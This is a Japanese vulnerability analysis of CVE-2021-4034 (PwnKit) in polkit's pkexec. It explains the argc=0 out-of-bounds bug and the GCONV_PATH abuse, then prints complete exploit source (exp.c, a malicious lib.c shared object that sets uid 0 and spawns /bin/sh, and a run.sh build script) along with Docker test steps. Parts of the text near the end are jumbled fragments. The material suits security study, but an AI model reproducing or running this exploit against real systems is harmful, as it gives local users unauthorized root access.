
CVE-2021-4034 のPOC、Docker、および解析レポート
[toc]
脆弱性番号: CVE-2021-4034
脆弱性スコア:
脆弱性製品: linux PolKit (pkexec)
影響範囲: 2009年から現在までのバージョン(現在0.105) 参考: http://its.dlut.edu.cn/info/1054/78309.htm
利用条件: linux ローカル;pkexec が suid ファイルであり、実行権限があること
ソースコード取得: apt source policykit-1
または https://launchpad.net/ubuntu/bionic/+package/policykit-1
docker 環境: chenaotian/cve-2021-4034
自分で構築したdockerで、以下を提供:
pkexecすべて /root/ ディレクトリにあります:

su test で test ユーザーに切り替えて実行可能docker 起動:
docker run -d -ti --rm -h cvedebug --name cvedebug --cap-add=SYS_PTRACE chenaotian/cve-2021-4034:latest /bin/bash
exp テスト:
cd ~/exp/CVE-2021-4034/
./run.sh
su test
./exp
whoami
脆弱性が発生する製品は polkit の pkexec コマンドです。pkexec は sudo と同様に、他のユーザー(通常は root)としてコマンドを実行できるツールです。dpkg コマンドで pkexec が属するパッケージを確認できます:
dpkg -S /usr/bin/pkexec

その後、ソースパッケージを取得し(私のdockerにもあります)、ソースパッケージから自分でコンパイルしてデバッグ可能なバージョンを作成し、デバッグを容易にします。
脆弱性のトリガー原理は非常に単純です
/polkit-0.105/src/programs/pkexec.c : 386 main
int
main (int argc, char *argv[])
{
··· ···
··· ···
/* ここでの意味は、ユーザー入力パラメータをループ処理し、入力に応じて値を設定する
* しかし問題は、ループの開始点が1であり、ユーザーがパラメータを何も入力しない場合を考慮していないこと
*/
for (n = 1; n < (guint) argc; n++)
{
if (strcmp (argv[n], "--help") == 0)
{
opt_show_help = TRUE;
}
··· ···
else //認識できないパラメータの場合ループを抜ける。ここではそのパラメータが実行したいコマンドであることを意味する
{
break;
}
}
··· ···
g_assert (argv[argc] == NULL);
path = g_strdup (argv[n]); //実行コマンドの具体的な文字列を取得
if (path == NULL)
{
···
}
if (path[0] != '/')
{
/* g_find_program_in_path() is not suspectible to attacks via the environment */
//この関数はPATH環境変数に基づいて実行コマンドの絶対パスを探す
s = g_find_program_in_path (path);
if (s == NULL)
{
···
}
g_free (path);
argv[n] = path = s;//取得した絶対パスをコマンドライン引数に書き戻す
}
··· ···
··· ···
コード内の私のコメントに従って分析:
pkexec で実行するコマンド)が付いていることを前提としている。-- で始まらないコマンドライン引数が見つかった場合、それを実行すべきコマンドとみなし、その引数が pkexec で実行するコマンドであるとしてループを抜け、以降のロジックを実行する。g_find_program_in_path 関数を呼び出してコマンドの絶対パスを検索する。g_find_program_in_path 関数は PATH 環境変数に基づいて渡された引数(コマンド)の絶対パスを探す。例えば cat を渡すと /bin/cat が返る。よく理解できるが、問題は:
linux バイナリプログラムは実行時にコマンドライン引数 argv[] と環境変数 environ[] をスタックの底に配置し、argv[] と environ[] は連続している。argv[] の最後の要素は null である。

コマンドラインから pkexec を起動し、他の引数を付けない場合、argv[0] は "pkexec"、argv[1] は \x00 となり問題ない。しかし、execve 関数で pkexec を起動し、他の引数をまったく付けない場合、argv[0] は となり、 は環境変数を指すことになる! を読み取るときに を読み取ってしまう。
これによる影響は何か? execve で起動したときに他の引数をまったく付けないと、argv[] の長さが0になり、argv[1] が environ[0] になる。すると上で分析したロジックは、最初の環境変数の値を取得し、PATH 環境変数からその絶対パスを探すことになる。もし見つかれば最初の環境変数に書き戻す。では、以下のように利用できる:
まず明確にすべきことは、pkexec は特権(suid)ファイルであること:

特権ファイルで環境変数を悪用するにはどうすればよいか?まず小さな詳細を理解する:
linux の動的リンカー ld-linux-x86-64.so.2 は、特権プログラム実行時に機密環境変数を削除する:
関数 _dl_non_dynamic_init: glibc-2.27/elf/dl-support.c : 307
void
_dl_non_dynamic_init (void)
{
··· ···
··· ···
if (__libc_enable_secure) //特権モードの場合
{
static const char unsecure_envvars[] =
UNSECURE_ENVVARS
#ifdef EXTRA_UNSECURE_ENVVARS
EXTRA_UNSECURE_ENVVARS
#endif
;
const char *cp = unsecure_envvars;
//危険な環境変数リストのすべての環境変数をクリア(unset)するループ
while (cp < unsecure_envvars + sizeof (unsecure_envvars))
{
__unsetenv (cp);
cp = (const char *) __rawmemchr (cp, '\0') + 1;
}
#if !HAVE_TUNABLES
if (__access ("/etc/suid-debug", F_OK) != 0)
__unsetenv ("MALLOC_CHECK_");
#endif
}
··· ···
··· ···
}
危険な環境変数リスト UNSECURE_ENVVARS の定義:
glibc-2.27/sysdeps/generic/unsecvars.h : 10
#define GLIBC_TUNABLES_ENVVAR "GLIBC_TUNABLES\0"
#define UNSECURE_ENVVARS \
"GCONV_PATH\0" \
"GETCONF_DIR\0" \
GLIBC_TUNABLES_ENVVAR \
"HOSTALIASES\0" \
"LD_AUDIT\0" \
"LD_DEBUG\0" \
"LD_DEBUG_OUTPUT\0" \
"LD_DYNAMIC_WEAK\0" \
"LD_HWCAP_MASK\0" \
"LD_LIBRARY_PATH\0" \
"LD_ORIGIN_PATH\0" \
"LD_PRELOAD\0" \
"LD_PROFILE\0" \
"LD_SHOW_AUXV\0" \
"LD_USE_LOAD_BIAS\0" \
"LOCALDOMAIN\0" \
"LOCPATH\0" \
"MALLOC_TRACE\0" \
"NIS_PATH\0" \
"NLSPATH\0" \
"RESOLV_HOST_CONF\0" \
"RES_OPTIONS\0" \
"TMPDIR\0" \
"TZDIR\0"
プログラムが特権ファイル(suid)であることを検出すると、上記の環境変数がすべてクリアされる。大部分が LD_ 系の環境変数であり、これらは動的ライブラリのロードパスを指定できる。これは低権限ユーザーがこれらの環境変数を使って suid プログラムに信頼できない so をロードさせ、悪意のあるコード実行や権限昇格を防ぐためのものである。
この脆弱性のシナリオでは、任意の環境変数に一度書き込む機会がある。我々の利用思路は、上記の本来 suid プログラムに渡せない環境変数のうちの何かを利用することである。
既に PoC が公開されているので、ここでは答えを見るのは簡単である。ここではarthepsyのPoCを参考にした。内容は非常に単純だが、この PoC から鍵となる環境変数は GCONV_PATH であることがわかる。確かに上記の危険な環境変数リストに含まれており、最初のものでもある!
GCONV_PATH と iconv_open() 関数について:
iconv_open()関数は変換記述子を割り当て、文字シーケンスをエンコーディングfromcodeからエンコーディングtcodeに変換する。iconv_open()関数はまずシステムが提供するgconv-modulesファイルを探す。このファイルには各文字セットの関連情報が格納されているパスが含まれており、各文字セットの関連情報は .so ファイルに格納されている。次にgconv-modulesファイルの指示に従って、引数に対応する .so ファイルをリンクして具体的な操作を実行する。環境変数GCONV_PATHが存在する場合、iconv_open()関数はGCONV_PATHに従ってgconv-modulesファイルを探し、以降の操作は同様に行われる。
つまり、GCONV_PATH 環境変数は LD_LIBRARY_PATH と同様の機能を持つ。iconv_open() 関数が so ライブラリを検索するパスを指定できる。GCONV_PATH を偽装し、さらに gconv-modules を偽装し、最後に偽の so を作成すれば、任意の so ロードと任意のコード実行が可能になる。
大まかな手順は以下の通り:
GCONV_PATH=. という名前のディレクトリを作成する
GCONV_PATH=. ディレクトリ内に pwnkitdir というファイルを作成し、実行権限を付ける
pwnkitdir というディレクトリを作成する
pwnkit ディレクトリ内に gconv-modules ファイルを作成し、以下の内容をフォーマットに従って書き込む:
module UTF-8// PWNKIT// pwnkit 1
pwnkit ディレクトリ内に悪意のある so pwnkit.so を配置する。中身はシェルを取得するコード。
関連する環境変数を設定する
pwnkitdirPATH=GCONV_PATH=. これにより g_find_program_in_path 関数が組み立てるパスは GCONV_PATH=./pwnkitdir となり、環境変数の形式に合致し、かつ ディレクトリが存在し、 ファイルも存在する。これで成功する。具体的な exp は以下の通り:
exp.c
#include <stdio.h>
#include <unistd.h>
int main(int argc, char **argv)
{
char * const a_argv [] = { NULL};
char * const a_envp[] = {
"pwnkitdir",
"PATH=GCONV_PATH=.",
"CHARSET=PWNKIT",
"SHELL=xxx",
NULL
};
execve("/usr/local/bin/pkexec", a_argv, a_envp); //注意:パスは実際の状況に応じて修正すること
}
lib.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
static void __attribute__ ((constructor)) exp(void);
static void exp(void)
{
setuid(0); seteuid(0); setgid(0); setegid(0);
static char *a_argv[] = { "sh", NULL };
static char *a_envp[] = { "PATH=/bin:/usr/bin:/sbin", NULL };
execve("/bin/sh", a_argv, a_envp);
}
run.sh
mkdir 'GCONV_PATH=.'
touch 'GCONV_PATH=./pwnkitdir'
chmod 777 'GCONV_PATH=./pwnkitdir'
mkdir pwnkitdir
touch pwnkitdir/gconv-modules
echo "module UTF-8// PWNKIT// pwnkit 1" >> pwnkitdir/gconv-modules
gcc -fPIC -shared lib.c -o pwnkitdir/pwnkit.so
gcc exp.c -o exp
悪用成功:

最新バージョンにアップデート
arthepsyのPoC:https://github.com/arthepsy/CVE-2021-4034
\x00argv[1]argv[1]environ[0]コマンドラインから直接 pkexec を起動した場合の argc は1、argv[0] は pkexec のパス:

execve 関数で pkexec を起動した場合、argc は0:

./pwnkitdirGCONV_PATH=./pwnkitdirCHARSET=PWNKIT 環境変数。iconv_open に至る前のパスで使用され、gconv-modules から so を検索するために使われる。SHELL=xxx。iconv_open に至る前のパスで使用される。execve で pkexec を起動する。引数は空、環境変数は上記の設定値とする。